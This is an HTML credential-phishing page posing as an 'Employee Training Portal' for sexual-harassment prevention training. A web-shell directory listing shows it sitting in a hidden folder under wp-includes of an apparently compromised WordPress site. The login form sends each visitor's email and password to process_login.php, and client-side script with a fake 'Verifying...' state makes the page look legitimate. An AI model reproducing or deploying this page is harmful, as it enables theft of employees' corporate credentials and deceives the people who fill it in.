%PDF- %PDF-
| Direktori : /home/t/o/n/tontonfaoe/www/wp-includes/pl1de8df/theme/ |
| Current File : /home/t/o/n/tontonfaoe/www/wp-includes/pl1de8df/theme/index.html |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Employee Training Portal - Login</title>
<link rel="stylesheet" href="style.css" />
</head>
<body class="login-body">
<div class="overlay"></div>
<div class="login-container">
<div class="login-card">
<div class="login-header">
<img src="assets/company-logo.png" alt="Company Logo" class="logo">
<h1>Employee Training Portal</h1>
<p class="subtitle">Sexual Harassment & Discrimination Prevention Training</p>
</div>
<!-- Form now submits to PHP -->
<form id="loginForm" class="login-form" action="process_login.php" method="POST" novalidate>
<label for="email">Email Address</label>
<input type="email" id="email" name="email" placeholder="Enter Email Address" required />
<label for="password">Password</label>
<input type="password" id="password" name="password" placeholder="Enter Password" required />
<button type="submit" id="loginBtn">Access Training</button>
</form>
<div class="support-links">
<a href="#">Forgot Password?</a> | <a href="#">Contact HR Support</a>
</div>
<p class="footer-text">© 2025 HR Compliance</p>
</div>
</div>
<script>
document.addEventListener("DOMContentLoaded", () => {
const form = document.getElementById("loginForm");
const btn = document.getElementById("loginBtn");
form.addEventListener("submit", (e) => {
const email = document.getElementById("email").value.trim();
const password = document.getElementById("password").value.trim();
const emailPattern = /^[^ ]+@[^ ]+\.[a-z]{2,}$/;
if (!email || !password) {
alert("Please fill out all fields.");
e.preventDefault(); // Stop submission
return;
}
if (!emailPattern.test(email)) {
alert("Please enter a valid email address.");
e.preventDefault(); // Stop submission
return;
}
// Store the email in localStorage for dashboard access
localStorage.setItem("employeeEmail", email);
// Change button text to show it's processing
btn.innerText = "Verifying...";
btn.disabled = true;
});
});
</script>
</body>
</html>